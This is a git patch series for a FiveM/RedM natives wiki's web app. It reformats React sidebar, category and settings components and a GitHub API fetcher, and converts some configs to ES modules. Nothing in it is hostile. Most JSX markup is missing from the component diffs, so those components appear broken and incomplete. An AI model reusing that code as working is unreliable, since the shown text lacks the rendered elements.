    + ); } interface EnvironmentSelectorProps { - environment: 'all' | 'client' | 'server'; - onEnvironmentChange: (environment: 'all' | 'client' | 'server') => void; + environment: "all" | "client" | "server"; + onEnvironmentChange: (environment: "all" | "client" | "server") => void; } -export function EnvironmentSelector({ environment, onEnvironmentChange }: EnvironmentSelectorProps) { - const icons = { - all: , - client: , - server: - }; +export function EnvironmentSelector({ + environment, + onEnvironmentChange, +}: EnvironmentSelectorProps) { + const icons = { + all: , + client: , + server: , + }; - const labels = { - all: 'All', - client: 'Client', - server: 'Server' - }; + const labels = { + all: "All", + client: "Client", + server: "Server", + }; - return ( - - - - - -
    - - - -
    -
    -
    - ) + return ( + + + + + +
    + + + +
    +
    +
    + ); } interface CFXToggleProps { - includeCFX: boolean; - onToggle: () => void; + includeCFX: boolean; + onToggle: () => void; } export function CFXToggle({ includeCFX, onToggle }: CFXToggleProps) { - return ( - - ); + return ( + + ); } interface CategorySheetProps { - categories: string[]; - categoriesByGameAndEnv?: Record> | null; - category: string; - onCategoryChange: (category: string) => void; - game: 'gta5' | 'rdr3'; // Remove CFX from game type - environment: 'all' | 'client' | 'server'; + categories: string[]; + categoriesByGameAndEnv?: Record> | null; + category: string; + onCategoryChange: (category: string) => void; + game: "gta5" | "rdr3"; // Remove CFX from game type + environment: "all" | "client" | "server"; } export function CategorySheet({ - categories, - categoriesByGameAndEnv = null, - category, - onCategoryChange, - game, - environment + categories, + categoriesByGameAndEnv = null, + category, + onCategoryChange, + game, + environment, }: CategorySheetProps) { - // Get the appropriate categories based on current game and environment - const getRelevantCategories = () => { - if (categoriesByGameAndEnv && categoriesByGameAndEnv[game] && categoriesByGameAndEnv[game][environment]) { - return categoriesByGameAndEnv[game][environment]; - } - return categories; // Fallback to the old categories array - }; + // Get the appropriate categories based on current game and environment + const getRelevantCategories = () => { + if ( + categoriesByGameAndEnv && + categoriesByGameAndEnv[game] && + categoriesByGameAndEnv[game][environment] + ) { + return categoriesByGameAndEnv[game][environment]; + } + return categories; // Fallback to the old categories array + }; - const relevantCategories = getRelevantCategories(); + const relevantCategories = getRelevantCategories(); - return ( - - - - - - - Select Category - -
    -
    - - {relevantCategories.map((cat) => ( - - ))} -
    -
    -
    -
    - ) + return ( + + + + + + + Select Category + +
    +
    + + {relevantCategories.map((cat) => ( + + ))} +
    +
    +
    +
    + ); } diff --git a/packages/ui/src/core/natives/natives-sidebar.tsx b/packages/ui/src/core/natives/natives-sidebar.tsx index 543f79a..2d9371f 100644 --- a/packages/ui/src/core/natives/natives-sidebar.tsx +++ b/packages/ui/src/core/natives/natives-sidebar.tsx @@ -1,658 +1,727 @@ -"use client" - -import * as React from "react" -import { cn } from "@utils/functions/cn" -import { Button } from "@ui/components/button" -import { ScrollArea } from "@ui/components/scroll-area" -import { Settings, ChevronLeft, ChevronRight, Code, Gamepad2, Monitor, Server, ChevronUp, ChevronDown, ToggleRight, ToggleLeft, Search, Home, InfoIcon, Sparkles, Layers } from "lucide-react" -import Link from "next/link" -import { useState, useCallback, useRef, useEffect } from "react" -import { NAV_LINKS } from "@utils/constants/link" -import { Switch } from "@ui/components/switch" -import { Label } from "@ui/components/label" -import { motion, AnimatePresence } from "motion/react" +"use client"; + +import * as React from "react"; +import { cn } from "@utils/functions/cn"; +import { Button } from "@ui/components/button"; +import { ScrollArea } from "@ui/components/scroll-area"; +import { + Settings, + ChevronLeft, + ChevronRight, + Code, + Gamepad2, + Monitor, + Server, + ChevronUp, + ChevronDown, + ToggleRight, + ToggleLeft, + Search, + Home, + InfoIcon, + Sparkles, + Layers, +} from "lucide-react"; +import Link from "next/link"; +import { useState, useCallback, useRef, useEffect } from "react"; +import { NAV_LINKS } from "@utils/constants/link"; +import { Switch } from "@ui/components/switch"; +import { Label } from "@ui/components/label"; +import { motion, AnimatePresence } from "motion/react"; interface NativesSidebarProps { - game: 'gta5' | 'rdr3'; - onGameChange: (game: 'gta5' | 'rdr3') => void; - environment: 'all' | 'client' | 'server'; - onEnvironmentChange: (env: 'all' | 'client' | 'server') => void; - categories: string[]; - categoriesByGameAndEnv?: Record> | null; - category: string; - onCategoryChange: (category: string) => void; - searchQuery: string; - onSearchQueryChange: (query: string) => void; - includeCFX: boolean; - onToggleCFX: () => void; + game: "gta5" | "rdr3"; + onGameChange: (game: "gta5" | "rdr3") => void; + environment: "all" | "client" | "server"; + onEnvironmentChange: (env: "all" | "client" | "server") => void; + categories: string[]; + categoriesByGameAndEnv?: Record> | null; + category: string; + onCategoryChange: (category: string) => void; + searchQuery: string; + onSearchQueryChange: (query: string) => void; + includeCFX: boolean; + onToggleCFX: () => void; } export function NativesSidebar({ - game, - onGameChange, - environment, - onEnvironmentChange, - categories = [], - categoriesByGameAndEnv = null, - category, - onCategoryChange, - searchQuery, - onSearchQueryChange, - includeCFX, - onToggleCFX + game, + onGameChange, + environment, + onEnvironmentChange, + categories = [], + categoriesByGameAndEnv = null, + category, + onCategoryChange, + searchQuery, + onSearchQueryChange, + includeCFX, + onToggleCFX, }: NativesSidebarProps) { - const [isCollapsed, setIsCollapsed] = useState(false) - const [isInfoOpen, setIsInfoOpen] = useState(false) - const [searchValue, setSearchValue] = useState(searchQuery) - - // Add a debounce timer ref to avoid excessive API calls - const searchDebounceRef = useRef(null) - - // Modified search input handler to update in real time with debounce - const handleSearchInputChange = useCallback((e: React.ChangeEvent) => { - const newValue = e.target.value - setSearchValue(newValue) - - // Clear existing timeout - if (searchDebounceRef.current) { - clearTimeout(searchDebounceRef.current) - } - - // Set new timeout to update search after 300ms of inactivity - searchDebounceRef.current = setTimeout(() => { - onSearchQueryChange(newValue) - }, 300) - }, [onSearchQueryChange]) - - // Clean up any outstanding timeouts when component unmounts - useEffect(() => { - return () => { - if (searchDebounceRef.current) { - clearTimeout(searchDebounceRef.current) - } - } - }, []) - - // Keep the original form handler for direct submit via button or Enter key - const handleSearchSubmit = useCallback((e: React.FormEvent) => { - e.preventDefault() - - // Clear any pending debounce to prevent duplicate searches - if (searchDebounceRef.current) { - clearTimeout(searchDebounceRef.current) - searchDebounceRef.current = null - } - - onSearchQueryChange(searchValue) - }, [searchValue, onSearchQueryChange]) - - // Get the appropriate categories based on current game and environment - const getRelevantCategories = () => { - let baseCats: string[] = []; - if (categoriesByGameAndEnv && categoriesByGameAndEnv[game] && categoriesByGameAndEnv[game][environment]) { - baseCats = [...categoriesByGameAndEnv[game][environment]]; - } else { - baseCats = [...categories]; - } - - if (!includeCFX) { - return baseCats.filter(cat => cat !== 'CFX'); - } - - return baseCats; + const [isCollapsed, setIsCollapsed] = useState(false); + const [isInfoOpen, setIsInfoOpen] = useState(false); + const [searchValue, setSearchValue] = useState(searchQuery); + + // Add a debounce timer ref to avoid excessive API calls + const searchDebounceRef = useRef(null); + + // Modified search input handler to update in real time with debounce + const handleSearchInputChange = useCallback( + (e: React.ChangeEvent) => { + const newValue = e.target.value; + setSearchValue(newValue); + + // Clear existing timeout + if (searchDebounceRef.current) { + clearTimeout(searchDebounceRef.current); + } + + // Set new timeout to update search after 300ms of inactivity + searchDebounceRef.current = setTimeout(() => { + onSearchQueryChange(newValue); + }, 300); + }, + [onSearchQueryChange], + ); + + // Clean up any outstanding timeouts when component unmounts + useEffect(() => { + return () => { + if (searchDebounceRef.current) { + clearTimeout(searchDebounceRef.current); + } }; + }, []); + + // Keep the original form handler for direct submit via button or Enter key + const handleSearchSubmit = useCallback( + (e: React.FormEvent) => { + e.preventDefault(); + + // Clear any pending debounce to prevent duplicate searches + if (searchDebounceRef.current) { + clearTimeout(searchDebounceRef.current); + searchDebounceRef.current = null; + } + + onSearchQueryChange(searchValue); + }, + [searchValue, onSearchQueryChange], + ); + + // Get the appropriate categories based on current game and environment + const getRelevantCategories = () => { + let baseCats: string[] = []; + if ( + categoriesByGameAndEnv && + categoriesByGameAndEnv[game] && + categoriesByGameAndEnv[game][environment] + ) { + baseCats = [...categoriesByGameAndEnv[game][environment]]; + } else { + baseCats = [...categories]; + } + + if (!includeCFX) { + return baseCats.filter((cat) => cat !== "CFX"); + } + + return baseCats; + }; + + const relevantCategories = getRelevantCategories(); + + // Improved category sorting - Make CFX special + const cfxCategory = relevantCategories.includes("CFX") ? ["CFX"] : []; + + // Enhanced server category detection + const serverCategories = relevantCategories.filter( + (cat) => + cat !== "CFX" && + (cat === "NETWORK" || + cat === "PLAYER" || + cat === "ENTITY" || + cat === "VEHICLE" || + cat.includes("SERVER") || + cat.includes("_SV")), + ); + + // Everything else is client + const clientCategories = relevantCategories.filter( + (cat) => cat !== "CFX" && !serverCategories.includes(cat), + ); + + // Sort categories alphabetically within their groups + const sortedServerCategories = [...serverCategories].sort(); + const sortedClientCategories = [...clientCategories].sort(); + + return ( +
    + + {/* Header */} +
    + + {!isCollapsed && ( + + +
    + +
    + Natives + +
    + )} +
    + +
    - const relevantCategories = getRelevantCategories(); - - // Improved category sorting - Make CFX special - const cfxCategory = relevantCategories.includes('CFX') ? ['CFX'] : []; - - // Enhanced server category detection - const serverCategories = relevantCategories.filter(cat => - cat !== 'CFX' && ( - cat === 'NETWORK' || - cat === 'PLAYER' || - cat === 'ENTITY' || - cat === 'VEHICLE' || - cat.includes('SERVER') || - cat.includes('_SV') - ) - ); - - // Everything else is client - const clientCategories = relevantCategories.filter(cat => - cat !== 'CFX' && !serverCategories.includes(cat) - ); - - // Sort categories alphabetically within their groups - const sortedServerCategories = [...serverCategories].sort(); - const sortedClientCategories = [...clientCategories].sort(); - - return ( -
    - + {/* Search Icon */} + + + {/* Game Selection Icons */} +
    +
    + + "rounded-lg relative", + game === "gta5" && "bg-[#5865F2]/20 text-[#5865F2]", + )} + onClick={() => onGameChange("gta5")} + > + + {game === "gta5" && ( +
    + )} + + + +
    + + {/* Environment Selection Icons */} +
    +
    + + + + + +
    + + {/* CFX Toggle Icon */} +
    +
    + +
    +
    + ) : ( + +
    + {/* Search box with icon - updated to use real-time search */} + +

    + Search +

    +
    + + + + +
    + + {/* Game selection updated with larger icons */} + +

    + Game +

    +
    + + +
    +
    + + {/* CFX inclusion toggle - improved styling */} + +
    +
    +
    + + +
    + +
    +

    + CitizenFX framework functions for client and server + scripting. +

    +
    +
    + + {/* Environment selection with larger icons */} + +

    + Environment +

    +
    + + +
    - {/* Main Sidebar Content */} - {isCollapsed ? ( - /* Collapsed sidebar with just icons */ -
    - {/* Search Icon */} + {!includeCFX && environment === "server" && ( + +

    + Enable CFX natives to see server-side functions. +

    +
    + )} + + + {/* Categories - with improved organization */} + +

    + Categories +

    +
    + + + {/* CFX Framework at the top if available */} + {cfxCategory.length > 0 && ( +
    +
    + + CitizenFX Framework +
    + {cfxCategory.map((cat) => ( - - {/* Game Selection Icons */} -
    -
    - - + ))} +
    + )} + + {/* Server Categories */} + {sortedServerCategories.length > 0 && + environment !== "client" && ( +
    +
    + + Server Categories +
    +
    + {sortedServerCategories.map((cat) => ( + ))}
    - - {/* Environment Selection Icons */} -
    -
    - - - - +
    + )} + + {/* Client Categories */} + {sortedClientCategories.length > 0 && + environment !== "server" && ( +
    +
    + + Client Categories +
    +
    + {sortedClientCategories.map((cat) => ( + ))}
    - - {/* CFX Toggle Icon */} -
    -
    - +
    + )} +
    + +
    + + )} + + {/* Information Footer with updated content */} + {!isCollapsed && ( +
    + + + {isInfoOpen && ( + +
    +
    +

    + About Natives +

    +

    + Natives are low-level functions provided by the + CitizenFX framework and game engines. +

    +
    +
    + Environment Types: +
    +
    +
    +
    + + Client - + Player's computer + +
    +
    +
    + + Server - + Game server + +
    +
    +
    + + Shared - + Both environments + +
    +
    - ) : ( - -
    - {/* Search box with icon - updated to use real-time search */} - -

    Search

    -
    - - - - -
    - - {/* Game selection updated with larger icons */} - -

    Game

    -
    - - -
    -
    - - {/* CFX inclusion toggle - improved styling */} - -
    -
    -
    - - -
    - -
    -

    - CitizenFX framework functions for client and server scripting. -

    -
    -
    - - {/* Environment selection with larger icons */} - -

    Environment

    -
    - - - -
    - - {!includeCFX && environment === 'server' && ( - -

    - Enable CFX natives to see server-side functions. -

    -
    - )} -
    - - {/* Categories - with improved organization */} - -

    Categories

    -
    - - - {/* CFX Framework at the top if available */} - {cfxCategory.length > 0 && ( -
    -
    - - CitizenFX Framework -
    - {cfxCategory.map(cat => ( - - ))} -
    - )} - - {/* Server Categories */} - {sortedServerCategories.length > 0 && environment !== 'client' && ( -
    -
    - - Server Categories -
    -
    - {sortedServerCategories.map(cat => ( - - ))} -
    -
    - )} - - {/* Client Categories */} - {sortedClientCategories.length > 0 && environment !== 'server' && ( -
    -
    - - Client Categories -
    -
    - {sortedClientCategories.map(cat => ( - - ))} -
    -
    - )} -
    -
    -
    -
    - )} - {/* Information Footer with updated content */} - {!isCollapsed && ( -
    - - - {isInfoOpen && ( - + + {item.name} + + ) : ( + -
    -
    -

    About Natives

    -

    - Natives are low-level functions provided by the CitizenFX framework and game engines. -

    -
    -
    Environment Types:
    -
    -
    -
    - Client - Player's computer -
    -
    -
    - Server - Game server -
    -
    -
    - Shared - Both environments -
    -
    -
    -
    - - {/* Navigation Links */} -
    -

    Quick Links

    -
    - {NAV_LINKS.map((item) => { - const Icon = item.icon; - return ( - - ); - })} -
    -
    -
    -
    - )} -
    + + {item.name} + + )} + + ); + })} +
    - )} -
    -
    - ); +
    + + )} + +
    + )} + +
    + ); } diff --git a/packages/ui/src/core/settings/settings-panel.tsx b/packages/ui/src/core/settings/settings-panel.tsx index d4517c2..e2e0f75 100644 --- a/packages/ui/src/core/settings/settings-panel.tsx +++ b/packages/ui/src/core/settings/settings-panel.tsx @@ -1,135 +1,143 @@ -"use client" +"use client"; -import { useState, useEffect } from 'react' -import { Button } from '@ui/components/button' -import { Slider } from '@ui/components/slider' -import { Label } from '@ui/components/label' -import { Switch } from '@ui/components/switch' -import { ScrollArea } from '@ui/components/scroll-area' -import { Separator } from '@ui/components/separator' +import { useState, useEffect } from "react"; +import { Button } from "@ui/components/button"; +import { Slider } from "@ui/components/slider"; +import { Label } from "@ui/components/label"; +import { Switch } from "@ui/components/switch"; +import { ScrollArea } from "@ui/components/scroll-area"; +import { Separator } from "@ui/components/separator"; import { - Monitor, - Moon, - Sun, - Volume2, - VolumeX, - Contrast, - PanelLeft, - Languages, - Check -} from 'lucide-react' -import { useTheme } from 'next-themes' -import { cn } from '@utils/functions/cn' + Monitor, + Moon, + Sun, + Volume2, + VolumeX, + Contrast, + PanelLeft, + Languages, + Check, +} from "lucide-react"; +import { useTheme } from "next-themes"; +import { cn } from "@utils/functions/cn"; export function SettingsPanel() { - const { theme, setTheme } = useTheme() - const [volume, setVolume] = useState(50) - const [muted, setMuted] = useState(false) - const [contrast, setContrast] = useState(100) + const { theme, setTheme } = useTheme(); + const [volume, setVolume] = useState(50); + const [muted, setMuted] = useState(false); + const [contrast, setContrast] = useState(100); - useEffect(() => { - if (muted) { - setVolume(0) - } - }, [muted]) + useEffect(() => { + if (muted) { + setVolume(0); + } + }, [muted]); - return ( - -
    -
    -

    Display

    -
    -
    -
    - - -
    -
    - -
    -
    -
    - - setContrast(v)} - /> -
    - 50% - {contrast}% - 150% -
    -
    -
    -
    + return ( + +
    +
    +

    Display

    +
    +
    +
    + + +
    +
    + +
    +
    +
    + + setContrast(v)} + /> +
    + 50% + {contrast}% + 150% +
    +
    +
    +
    - + -
    -

    Sound

    -
    -
    -
    - {muted ? : } - -
    -
    - setMuted(!checked)} - /> -
    -
    +
    +

    Sound

    +
    +
    +
    + {muted ? ( + + ) : ( + + )} + +
    +
    + setMuted(!checked)} + /> +
    +
    - setVolume(v)} - disabled={muted} - className={cn(muted && "opacity-50")} - /> + setVolume(v)} + disabled={muted} + className={cn(muted && "opacity-50")} + /> -
    - 0% - {volume}% - 100% -
    -
    -
    +
    + 0% + {volume}% + 100% +
    +
    +
    - + -
    -

    Language

    -
    -
    -
    - - -
    -
    - -
    -
    -
    -
    +
    +

    Language

    +
    +
    +
    + + +
    +
    + +
    - - ) -} \ No newline at end of file +
    +
    +
    +
    + ); +} diff --git a/packages/ui/src/icons/fixfx.tsx b/packages/ui/src/icons/fixfx.tsx index 3ac398b..757e272 100644 --- a/packages/ui/src/icons/fixfx.tsx +++ b/packages/ui/src/icons/fixfx.tsx @@ -16,16 +16,16 @@ export function FixFXIcon({ version="1.1" > {/* First path from the Canva SVG */} - - + {/* Second path from the Canva SVG */} - { - data: T; - headers: Record; - status: number; + data: T; + headers: Record; + status: number; } class GitHubFetcher { - private client: AxiosInstance; - private rateLimitRemaining: number = 60; - private rateLimitReset: number = 0; - private authToken: string | undefined; - - constructor(options: GitHubFetcherOptions = {}) { - const { - baseURL = 'https://api.github.com', - timeout = 10000, - userAgent = 'FixFX-Wiki', - authToken = process.env.GITHUB_TOKEN - } = options; - - this.authToken = authToken; - - this.client = axios.create({ - baseURL, - timeout, - headers: { - 'Accept': 'application/vnd.github.v3+json', - 'User-Agent': userAgent, - ...(this.authToken ? { 'Authorization': `Bearer ${this.authToken}` } : {}) - } - }); - - // Add response interceptor to track rate limits - this.client.interceptors.response.use( - (response) => { - this.updateRateLimits(response.headers); - return response; - }, - (error) => { - if (error.response) { - this.updateRateLimits(error.response.headers); - } - return Promise.reject(error); - } - ); - } + private client: AxiosInstance; + private rateLimitRemaining: number = 60; + private rateLimitReset: number = 0; + private authToken: string | undefined; + + constructor(options: GitHubFetcherOptions = {}) { + const { + baseURL = "https://api.github.com", + timeout = 10000, + userAgent = "FixFX-Wiki", + authToken = process.env.GITHUB_TOKEN, + } = options; + + this.authToken = authToken; + + this.client = axios.create({ + baseURL, + timeout, + headers: { + Accept: "application/vnd.github.v3+json", + "User-Agent": userAgent, + ...(this.authToken + ? { Authorization: `Bearer ${this.authToken}` } + : {}), + }, + }); + + // Add response interceptor to track rate limits + this.client.interceptors.response.use( + (response) => { + this.updateRateLimits(response.headers); + return response; + }, + (error) => { + if (error.response) { + this.updateRateLimits(error.response.headers); + } + return Promise.reject(error); + }, + ); + } - private updateRateLimits(headers: any) { - const remaining = headers['x-ratelimit-remaining']; - const reset = headers['x-ratelimit-reset']; + private updateRateLimits(headers: any) { + const remaining = headers["x-ratelimit-remaining"]; + const reset = headers["x-ratelimit-reset"]; - if (remaining) { - this.rateLimitRemaining = parseInt(remaining, 10); - } - if (reset) { - this.rateLimitReset = parseInt(reset, 10); - } + if (remaining) { + this.rateLimitRemaining = parseInt(remaining, 10); } - - /** - * Get the current rate limit information - */ - getRateLimitInfo() { - return { - remaining: this.rateLimitRemaining, - reset: this.rateLimitReset, - resetTime: new Date(this.rateLimitReset * 1000) - }; + if (reset) { + this.rateLimitReset = parseInt(reset, 10); } - - /** - * Make a GET request to the GitHub API - */ - async get(endpoint: string, config?: AxiosRequestConfig): Promise> { - try { - if (!this.authToken) { - throw new Error('GitHub token not configured. Please set GITHUB_TOKEN environment variable.'); - } - - const response = await this.client.get(endpoint, { - ...config, - headers: { - ...config?.headers, - 'Authorization': `Bearer ${this.authToken}` - } - }); - - return { - data: response.data, - headers: response.headers as Record, - status: response.status - }; - } catch (error) { - if (axios.isAxiosError(error)) { - const axiosError = error as AxiosError<{ message: string }>; - const status = axiosError.response?.status; - const message = axiosError.response?.data?.message || axiosError.message; - - // Handle 304 Not Modified as a special case - if (status === 304) { - return { - data: null as unknown as T, - headers: axiosError.response?.headers as Record, - status: 304 - }; - } - - switch (status) { - case 401: - case 403: - throw new Error(`GitHub API Authentication Error: ${message}. Please check your GitHub token configuration.`); - case 404: - throw new Error(`GitHub API Resource Not Found: ${message}`); - case 429: - const resetTime = axiosError.response?.headers['x-ratelimit-reset']; - const retryAfter = resetTime ? new Date(parseInt(resetTime) * 1000) : 'unknown'; - throw new Error(`GitHub API Rate Limit Exceeded. Please try again after ${retryAfter}`); - default: - throw new Error(`GitHub API Error (${status}): ${message}`); - } - } - throw error; + } + + /** + * Get the current rate limit information + */ + getRateLimitInfo() { + return { + remaining: this.rateLimitRemaining, + reset: this.rateLimitReset, + resetTime: new Date(this.rateLimitReset * 1000), + }; + } + + /** + * Make a GET request to the GitHub API + */ + async get( + endpoint: string, + config?: AxiosRequestConfig, + ): Promise> { + try { + if (!this.authToken) { + throw new Error( + "GitHub token not configured. Please set GITHUB_TOKEN environment variable.", + ); + } + + const response = await this.client.get(endpoint, { + ...config, + headers: { + ...config?.headers, + Authorization: `Bearer ${this.authToken}`, + }, + }); + + return { + data: response.data, + headers: response.headers as Record, + status: response.status, + }; + } catch (error) { + if (axios.isAxiosError(error)) { + const axiosError = error as AxiosError<{ message: string }>; + const status = axiosError.response?.status; + const message = + axiosError.response?.data?.message || axiosError.message; + + // Handle 304 Not Modified as a special case + if (status === 304) { + return { + data: null as unknown as T, + headers: axiosError.response?.headers as Record, + status: 304, + }; } - } - /** - * Make a POST request to the GitHub API - */ - async post(endpoint: string, data?: any, config?: AxiosRequestConfig): Promise> { - try { - const response = await this.client.post(endpoint, data, config); - return { - data: response.data, - headers: response.headers as Record, - status: response.status - }; - } catch (error) { - if (axios.isAxiosError(error)) { - throw new Error(`GitHub API Error: ${error.message} (${error.response?.status})`); - } - throw error; + switch (status) { + case 401: + case 403: + throw new Error( + `GitHub API Authentication Error: ${message}. Please check your GitHub token configuration.`, + ); + case 404: + throw new Error(`GitHub API Resource Not Found: ${message}`); + case 429: + const resetTime = axiosError.response?.headers["x-ratelimit-reset"]; + const retryAfter = resetTime + ? new Date(parseInt(resetTime) * 1000) + : "unknown"; + throw new Error( + `GitHub API Rate Limit Exceeded. Please try again after ${retryAfter}`, + ); + default: + throw new Error(`GitHub API Error (${status}): ${message}`); } + } + throw error; } - - /** - * Make a PUT request to the GitHub API - */ - async put(endpoint: string, data?: any, config?: AxiosRequestConfig): Promise> { - try { - const response = await this.client.put(endpoint, data, config); - return { - data: response.data, - headers: response.headers as Record, - status: response.status - }; - } catch (error) { - if (axios.isAxiosError(error)) { - throw new Error(`GitHub API Error: ${error.message} (${error.response?.status})`); - } - throw error; - } + } + + /** + * Make a POST request to the GitHub API + */ + async post( + endpoint: string, + data?: any, + config?: AxiosRequestConfig, + ): Promise> { + try { + const response = await this.client.post(endpoint, data, config); + return { + data: response.data, + headers: response.headers as Record, + status: response.status, + }; + } catch (error) { + if (axios.isAxiosError(error)) { + throw new Error( + `GitHub API Error: ${error.message} (${error.response?.status})`, + ); + } + throw error; } - - /** - * Make a DELETE request to the GitHub API - */ - async delete(endpoint: string, config?: AxiosRequestConfig): Promise> { - try { - const response = await this.client.delete(endpoint, config); - return { - data: response.data, - headers: response.headers as Record, - status: response.status - }; - } catch (error) { - if (axios.isAxiosError(error)) { - throw new Error(`GitHub API Error: ${error.message} (${error.response?.status})`); - } - throw error; - } + } + + /** + * Make a PUT request to the GitHub API + */ + async put( + endpoint: string, + data?: any, + config?: AxiosRequestConfig, + ): Promise> { + try { + const response = await this.client.put(endpoint, data, config); + return { + data: response.data, + headers: response.headers as Record, + status: response.status, + }; + } catch (error) { + if (axios.isAxiosError(error)) { + throw new Error( + `GitHub API Error: ${error.message} (${error.response?.status})`, + ); + } + throw error; + } + } + + /** + * Make a DELETE request to the GitHub API + */ + async delete( + endpoint: string, + config?: AxiosRequestConfig, + ): Promise> { + try { + const response = await this.client.delete(endpoint, config); + return { + data: response.data, + headers: response.headers as Record, + status: response.status, + }; + } catch (error) { + if (axios.isAxiosError(error)) { + throw new Error( + `GitHub API Error: ${error.message} (${error.response?.status})`, + ); + } + throw error; } + } } // Create a default instance const githubFetcher = new GitHubFetcher(); export { GitHubFetcher, githubFetcher }; -export default githubFetcher; \ No newline at end of file +export default githubFetcher; diff --git a/packages/utils/src/types/types.ts b/packages/utils/src/types/types.ts index e2ed178..bef97c4 100644 --- a/packages/utils/src/types/types.ts +++ b/packages/utils/src/types/types.ts @@ -26,7 +26,7 @@ export interface GitHubTag { export interface ArtifactDownloadUrls { zip: string; - '7z': string; + "7z": string; } export interface ArtifactEntry { @@ -37,7 +37,13 @@ export interface ArtifactEntry { artifact_url: string; published_at: string; eol?: boolean; - supportStatus?: 'recommended' | 'latest' | 'active' | 'deprecated' | 'eol' | 'unknown'; + supportStatus?: + | "recommended" + | "latest" + | "active" + | "deprecated" + | "eol" + | "unknown"; supportEnds?: string; } diff --git a/packages/utils/tsconfig.json b/packages/utils/tsconfig.json index c0a5008..8357b55 100644 --- a/packages/utils/tsconfig.json +++ b/packages/utils/tsconfig.json @@ -1,5 +1,5 @@ { "extends": "../../tsconfig.json", "include": ["."], - "exclude": ["dist", "node_modules"], + "exclude": ["dist", "node_modules"] } diff --git a/tailwind.config.ts b/tailwind.config.ts index 2e8dcda..805fcca 100644 --- a/tailwind.config.ts +++ b/tailwind.config.ts @@ -37,7 +37,8 @@ const confg: Pick = { shine: "shine var(--duration) infinite linear", "accordion-up": "accordion-up 0.2s ease-out", gradient: "gradient 5s linear infinite", - "indeterminate-progress": "indeterminate-progress 1.5s infinite ease-in-out", + "indeterminate-progress": + "indeterminate-progress 1.5s infinite ease-in-out", }, keyframes: { marquee: { @@ -62,7 +63,7 @@ const confg: Pick = { }, shimmer: { "0%": { transform: "translateX(-100%)" }, - "100%": { transform: "translateX(100%)" } + "100%": { transform: "translateX(100%)" }, }, gradient: { to: { "background-position": "200% center" }, diff --git a/tsconfig.json b/tsconfig.json index e752d23..f8480cc 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -2,11 +2,7 @@ "compilerOptions": { "baseUrl": ".", "target": "ESNext", - "lib": [ - "dom", - "dom.iterable", - "esnext" - ], + "lib": ["dom", "dom.iterable", "esnext"], "allowJs": true, "skipLibCheck": true, "strict": true, @@ -20,18 +16,10 @@ "jsx": "preserve", "incremental": true, "paths": { - "@/*": [ - "./*" - ], - "@core/*": [ - "./packages/core/src/*" - ], - "@utils/*": [ - "./packages/utils/src/*" - ], - "@ui/*": [ - "./packages/ui/src/*" - ] + "@/*": ["./*"], + "@core/*": ["./packages/core/src/*"], + "@utils/*": ["./packages/utils/src/*"], + "@ui/*": ["./packages/ui/src/*"] }, "plugins": [ { @@ -49,7 +37,5 @@ "../../packages/ui/src/icons/npm.tsx", ".next/dev/types/**/*.ts" ], - "exclude": [ - "node_modules" - ] + "exclude": ["node_modules"] } From 3c3aa55f8fd8d8532ef3e72a3b868ae2c7206d12 Mon Sep 17 00:00:00 2001 From: TheRealToxicDev Date: Mon, 26 Jan 2026 20:28:52 -0700 Subject: [PATCH 4/6] feat(add): linting fixes --- commitlint.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/commitlint.config.js b/commitlint.config.js index 485397d..97b833a 100644 --- a/commitlint.config.js +++ b/commitlint.config.js @@ -1,4 +1,4 @@ -module.exports = { +export default { extends: ["@commitlint/config-conventional"], rules: { "type-enum": [ From f03ff6cc9eb681c5c7a746206eb6a98d281a4eb9 Mon Sep 17 00:00:00 2001 From: TheRealToxicDev Date: Mon, 26 Jan 2026 20:35:20 -0700 Subject: [PATCH 5/6] chore: convert postcss config to ES modules --- postcss.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/postcss.config.js b/postcss.config.js index 12a703d..2aa7205 100644 --- a/postcss.config.js +++ b/postcss.config.js @@ -1,4 +1,4 @@ -module.exports = { +export default { plugins: { tailwindcss: {}, autoprefixer: {}, From 018f4f0f794bd2650bb9e0d05ffb93be307db6cb Mon Sep 17 00:00:00 2001 From: TheRealToxicDev Date: Mon, 26 Jan 2026 20:46:01 -0700 Subject: [PATCH 6/6] fix: knip stuff.... --- package.json | 1 - 1 file changed, 1 deletion(-) diff --git a/package.json b/package.json index ea35e69..09a02bb 100644 --- a/package.json +++ b/package.json @@ -82,7 +82,6 @@ "clsx": "^2.1.1", "commitlint": "19.8.1", "eslint": "^9.39.2", - "eslint-config-next": "^16.1.5", "husky": "^8.0.3", "knip": "^5.78.0", "postcss": "^8.4.45",